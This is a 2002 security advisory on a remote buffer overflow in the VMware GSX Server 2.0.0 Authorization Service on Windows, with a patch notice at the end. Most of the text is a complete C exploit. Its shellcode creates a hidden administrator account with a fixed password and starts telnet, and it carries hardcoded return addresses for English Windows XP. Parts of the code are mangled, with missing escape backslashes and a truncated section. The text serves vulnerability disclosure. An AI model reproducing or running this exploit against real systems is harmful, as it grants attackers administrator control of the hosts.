|
COMMAND VMware GSX Server Remote Buffer Overflow SYSTEMS AFFECTED VMware GSX Server 2.0.0 build-2050 for Windows(other versions not tested) + Windows NT/2000/XP PROBLEM In Zag & Glcs [Glcs@venustech.com.cn], [BigBall@venustech.com.cn] advisory [CNCVE-20020095] of Venustech-ADRC [ttp://www.venustech.com.cn] : VMware GSX Server communicates with VMware Remote Console via a open port 902 on VMware Authorization Service, the handshake operations which before data transfer: 220 VMware Authentication Daemon Version 1.00 USER anyuser 331 Password required for user. PASS ****** 230 User user logged in. GLOBAL server 200 Connect Global The length of USER,PASS,GLOBAL command was limited by the program, when the string is too long, the connection will be refused by server, and get a return error information like: 599 vmware-authd PANIC: Buffer overflow in VMAuthdSocketRead(): 220 VMware Authentication Daemon Version 1.00 USER AAAA....(Ax500) 599 vmware-authd PANIC: Buffer overflow in VMAuthdSocketRead() But the command GLOBAL can cause a overflow when the string still not exceed the limite and the overflow can cause an abend of the VMware Authorization Service. We can make a short shellcode to cover the return address and excute the code of ourself. Suppose we can use the Guest account now. test codes: //////////////////////////////////////////////////////////////////// // VMwareOverflowTest v1.0 // Written by Zag & Glcs // BigBall@venustech.com.cn glcs@venustech.com.cn // http://www.Venustech.com //////////////////////////////////////////////////////////////////// #include "stdio.h" #include "winsock2.h" #include "stdlib.h" #pragma comment (lib, "Ws2_32") to make sure that the shellcode length and GLOBAL command length not exceed the limit. //add an administrator account: x_adrc password: x_adrc //start the telnet service "x68xC1x15x35x09x81x2Cx24" "x80xD1xF0x08x68x63x20x20" "x2Fx68x5Fx61x64x72x68x72" "x73x20x78x68x72x61x74x6F" "x68x6Ex69x73x74x68x61x64" "x6Dx69x68x6Fx75x70x20x68" "x61x6Cx67x72x68x20x6Cx6F" "x63x68x26x6Ex65x74x68x74" "x73x76x72x68x20x74x6Cx6E" "x68x74x61x72x74x68x65x74" "x20x73x68x44x44x26x6Ex68" "x63x20x2Fx41x68x5Fx61x64" "x72x68x72x63x20x78x68x78" "x5Fx61x64x68x73x65x72x20" "x68x65x74x20x75x68x2Fx63" "x20x6Ex68x63x6Dx64x20x8B" "xC4x6Ax01x50xB8xC6x84xE6" "x77xFFxD0x90"; //the JMP ESP address of WindowsXP English Version, we can add the address of other systems, such as Windows 2000. unsigned char Jmp_ESP_XP_Eng[] = {0x1b,0x17,0xe3,0x77};//WinXP Eng unsigned char Jmp_ESP[4]; void usage () { printf ("VMwareOverflowTest v1.0n Written by Zag & Glcsn Email:BigBall@venustech.com.cnn Glcs@venustech.com.cnn www.Venustech.comnnUsage:VMwareOverflowTest.exe <IP> <PORT> <username> <passwd> <os type>nt0.Windows XP Engn"); return; } int main (int argc, char **argv) { char str[4096]; WSADATA wsa; SOCKET sock; struct sockaddr_in server; int ret; int i = 0; if (argc != 6) { usage (); return 0; } WSAStartup (MAKEWORD (2, 2), &wsa); sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); server.sin_family = AF_INET; server.sin_port = htons (atoi (argv[2])); server.sin_addr.s_addr = inet_addr (argv[1]); //the base address of DLL files on each systems is not the same, so we need to modify the call address //we can find that the system have loaded the DLL files we need by check VMware Authorization Service //then we only need modify the call address //(BASE_ADDRESS + FUNCTION_OFFSET) switch (atoi(argv[5])) { case 0: shellcode[133] = 0xc6; shellcode[134] = 0x84; shellcode[135] = 0xe6; shellcode[136] = 0x77; strcpy (Jmp_ESP, Jmp_ESP_XP_Eng); break; default: shellcode[133] = 0xc6; shellcode[134] = 0x84; shellcode[135] = 0xe6; shellcode[136] = 0x77; strcpy (Jmp_ESP, Jmp_ESP_XP_Eng); break; } ret = connect (sock, (struct sockaddr *)&server, sizeof (server)); if (ret == SOCKET_ERROR) { printf ("connect errorn"); return -1; } //receive welcome message memset (str, 0, sizeof (str)); recv (sock, str, 100, 0); printf ("%s", str); //send username confirm message memset (str, 0, sizeof (str)); strcpy (str,"USER "); strcat (str, argv[3]); strcat (str, "rn"); ret = send (sock, str, strlen (str), 0); //receive confirm message memset (str, 0, sizeof (str)); recv (sock, str, 100, 0); printf ("%s", str); //send password memset (str, 0, sizeof (str)); strcpy (str,"PASS "); strcat (str, argv[4]); strcat (str, "rn"); ret = send (sock, str, strlen (str), 0); //receive confirm message memset (str, 0, sizeof (str)); ret = recv (sock, str, 100, 0); printf ("%s", str); make GLOBAL command memset (str, 0, sizeof (str)); strcpy (str, "GLOBAL "); //to up the success probability, we use the half-continuous covering, so the exact overflow point is not need for(i = 7; i < 288; i += 8) { memcpy(str + i, "x90x90x58x68", 4); //write the JMP ESP command into the possible return address memcpy(str + i + 4, Jmp_ESP, 4); } //append the shellcode to the GLOBAL command string memcpy (str + i, shellcode, strlen (shellcode)); strcat (str, "rn"); ret = send (sock, str, strlen (str), 0); printf ("Done!n"); closesocket (sock); WSACleanup (); return 1; } After compiling the codes in VC, we can use user:x_adrc pass:x_adrc to telnet remote target host, check the x_adrc account, we can find that x_adrc belong the group of administrators. Now we get the high privilege by any account. Further reading : yuange, 'widechar string buffer overflow technic', chapte of half-continuous cover SOLUTION Temp remedy way: stop the VMware Authorization Service Patch (update 26 July 2002) ===== Users of VMware GSX Server 2.0.0 (for Windows) build 2050 should go to http://www.vmware.com/download/gsx_security.html to download the VMware Authorization Service patch.